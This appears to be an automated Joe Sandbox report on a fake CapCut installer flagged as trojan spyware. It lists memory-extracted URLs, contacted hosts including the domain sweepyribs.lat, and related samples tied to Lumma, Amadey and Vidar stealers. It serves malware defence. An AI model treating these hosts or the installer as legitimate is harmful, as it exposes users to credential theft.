                                                                                                      https://cl.search.yahoo.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                        		high
                                                                                                        https://yandex.kz/images/search/?rpt=imageviewPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                          		high
                                                                                                          https://coccoc.com/search#query=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                            		high
                                                                                                            https://www.yandex.by/chrome/newtabPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                              		high
                                                                                                              https://ph.search.yahoo.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                		high
                                                                                                                http://www.walla.co.il/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://go.mail.ru/chrome/newtab/PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://id.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://uk.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                        		high
                                                                                                                        http://www.neti.ee/cgi-bin/otsing?query=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://petalsearch.com/search?query=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupportPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                              		high
                                                                                                                              http://ok.hu/gfx/favicon.icohttp://ok.hu/katalogus?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://bugs.chromium.org/p/dawn/issues/detail?id=690PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  http://mysearch.sweetpacks.com/?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://qc.search.yahoo.com/favicon.icohttps://qc.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://dns.google/dns-queryPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://ph.search.yahoo.com/favicon.icohttps://ph.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://oceanhero.today/web?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://crbug.com/newCheckIfAudioThreadIsAliveMedia.AudioThreadStatusCreatingPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              https://ch.search.yahoo.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/CloudflarePhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  http://search.conduit.com/Results.aspx?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    http://imgs.sapo.pt/images/sapo.icohttp://pesquisa.sapo.pt/?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://nl.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        https://in.search.yahoo.com/favicon.icohttps://in.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          https://search.goo.ne.jp/cdn/common/img/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            http://ak.apnstatic.com/media/images/favicon_search-results.icohttp://dts.search-results.com/sr?lng=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              https://www.sogou.com/images/logo/old/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://in.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  http://search.imesh.net/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    https://www.softonic.com/s/PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      https://pe.search.yahoo.com/favicon.icohttps://pe.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        http://arianna.libero.it/search/abin/integrata.cgi?query=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                          		high
                                                                                                                                                                          https://odvr.nic.cz/dohPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            https://m.so.com/s?ie=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              http://imgs.sapo.pt/images/sapo.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                https://search.privacywall.org/suggest.php?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://de.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    https://nova.rambler.ru/suggest?v=3&query=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://ar.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        https://www.quad9.net/home/privacy/PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          https://www.yandex.ua/chrome/newtabPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            https://id.search.yahoo.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              https://search.daum.net/search?w=tot&DA=JU5&q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                		high
                                                                                                                                                                                                https://search.naver.com/search.naver?ie=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                  		high
                                                                                                                                                                                                  https://search.daum.net/favicon.icohttps://search.daum.net/search?w=tot&DA=JU5&q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                    		high
                                                                                                                                                                                                    http://nigma.ru/themes/nigma/img/favicon.icohttp://nigma.ru/?s=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                      		high
                                                                                                                                                                                                      https://doh.cleanbrowsing.org/doh/adult-filterPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                        		high
                                                                                                                                                                                                        https://doh-01.spectrum.com/dns-queryPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                          		high
                                                                                                                                                                                                          http://buscador.terra.es/Default.aspx?source=Search&ca=s&query=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                            		high
                                                                                                                                                                                                            https://search.yahoo.co.jp/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                              		high
                                                                                                                                                                                                              http://nl.softonic.com/s/PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                                		high
                                                                                                                                                                                                                https://au.search.yahoo.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                                  		high
                                                                                                                                                                                                                  http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                                    		high
                                                                                                                                                                                                                    http://start.iminent.com/?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                                      		high

                                                                                                                                                                                                                      World Map of Contacted IPs

                                                                                                                                                                                                                      • No. of IPs < 25%
                                                                                                                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                                                                                                                      • 75% < No. of IPs

                                                                                                                                                                                                                      Public IPs

                                                                                                                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                                      162.159.61.3
                                                                                                                                                                                                                      		chrome.cloudflare-dns.comUnited States
                                                                                                                                                                                                                      		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                      104.21.2.110
                                                                                                                                                                                                                      		sweepyribs.latUnited States
                                                                                                                                                                                                                      		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                      192.142.10.246
                                                                                                                                                                                                                      		unknownSouth Africa
                                                                                                                                                                                                                      		36916X-DSL-NET1ZAfalse
                                                                                                                                                                                                                      142.250.181.132
                                                                                                                                                                                                                      		www.google.comUnited States
                                                                                                                                                                                                                      		15169GOOGLEUSfalse

                                                                                                                                                                                                                      General Information

                                                                                                                                                                                                                      Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                                      Analysis ID:1576947
                                                                                                                                                                                                                      Start date and time:2024-12-17 18:51:11 +01:00
                                                                                                                                                                                                                      Joe Sandbox product:CloudBasic
                                                                                                                                                                                                                      Overall analysis duration:0h 13m 5s
                                                                                                                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                                                                                                                      Report type:full
                                                                                                                                                                                                                      Cookbook file name:default.jbs
                                                                                                                                                                                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                                      Number of analysed new started processes analysed:71
                                                                                                                                                                                                                      Number of new started drivers analysed:0
                                                                                                                                                                                                                      Number of existing processes analysed:0
                                                                                                                                                                                                                      Number of existing drivers analysed:0
                                                                                                                                                                                                                      Number of injected processes analysed:0
                                                                                                                                                                                                                      Technologies:
                                                                                                                                                                                                                      • HCA enabled
                                                                                                                                                                                                                      • EGA enabled
                                                                                                                                                                                                                      • AMSI enabled
                                                                                                                                                                                                                      Analysis Mode:default
                                                                                                                                                                                                                      Analysis stop reason:Timeout
                                                                                                                                                                                                                      Sample name:CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                      Detection:MAL
                                                                                                                                                                                                                      Classification:mal81.troj.spyw.evad.winEXE@104/196@5/4
                                                                                                                                                                                                                      EGA Information:Failed
                                                                                                                                                                                                                      HCA Information:
                                                                                                                                                                                                                      • Successful, ratio: 100%
                                                                                                                                                                                                                      • Number of executed functions: 0
                                                                                                                                                                                                                      • Number of non-executed functions: 0
                                                                                                                                                                                                                      Cookbook Comments:
                                                                                                                                                                                                                      • Found application associated with file extension: .exe
                                                                                                                                                                                                                      • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                                                                      Warnings

                                                                                                                                                                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                                                                                                                      • Excluded IPs from analysis (whitelisted): 142.251.40.131, 20.109.210.53, 23.218.208.109, 13.107.246.63, 20.12.23.50
                                                                                                                                                                                                                      • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ocsps.ssl.com, otelrules.azureedge.net, ctldl.windowsupdate.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                                      • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                                                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                                      • VT rate limit hit for: CapCut_12.0.4_Installer.exe

                                                                                                                                                                                                                      Simulations

                                                                                                                                                                                                                      Behavior and APIs

                                                                                                                                                                                                                      TimeTypeDescription
                                                                                                                                                                                                                      12:52:36API Interceptor372x Sleep call for process: powershell.exe modified
                                                                                                                                                                                                                      12:53:43API Interceptor1x Sleep call for process: ThemCiao.exe modified
                                                                                                                                                                                                                      12:53:47API Interceptor7x Sleep call for process: Classes.com modified

                                                                                                                                                                                                                      Joe Sandbox View / Context

                                                                                                                                                                                                                      IPs

                                                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                      162.159.61.3122046760.batGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                        pkqLAMAv96.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          IIC0XbKFjS.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                            873406390.batGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                              0J3fAc6cHO.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                KjECqzXLWp.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                  cey4VIyGKh.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                    dZKPE9gotO.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                                      T0x859fNfn.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                                        naukri-launcher 10.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                          104.21.2.110V65xPrgEHH.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                                            81eivTbdp6.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              RkB7FehGh6.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, XmrigBrowse
                                                                                                                                                                                                                                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, XmrigBrowse

                                                                                                                                                                                                                                                    Domains

                                                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                                    sweepyribs.latfile.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                                                                                                                                                                                                                    • 172.67.129.27
                                                                                                                                                                                                                                                    file.exeGet hashmaliciousAmadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, XmrigBrowse
                                                                                                                                                                                                                                                    • 172.67.129.27
                                                                                                                                                                                                                                                    sfWmEoGJQR.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                    • 172.67.129.27
                                                                                                                                                                                                                                                    V65xPrgEHH.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    pN6iTXbhhc.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                    • 172.67.129.27
                                                                                                                                                                                                                                                    81eivTbdp6.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    RkB7FehGh6.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, XmrigBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, XmrigBrowse
                                                                                                                                                                                                                                                    • 172.67.129.27
                                                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, XmrigBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    chrome.cloudflare-dns.com122046760.batGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                                                    pkqLAMAv96.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                                                    IIC0XbKFjS.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                                                    873406390.batGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                                                    0J3fAc6cHO.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                                                    #U041e#U043f#U043b#U0430#U0442#U0430.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                                                    wayneenterprisesbatcave-6.0.1901-windows-installer.msiGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                                                    Setup.exe (1).zipGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                                                    Smple_Order-048576744759475945.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                                                    BG75-10-01_CurrencyTransfer__530_24_00002559_Processed.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 162.159.61.3

                                                                                                                                                                                                                                                    ASNs

                                                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
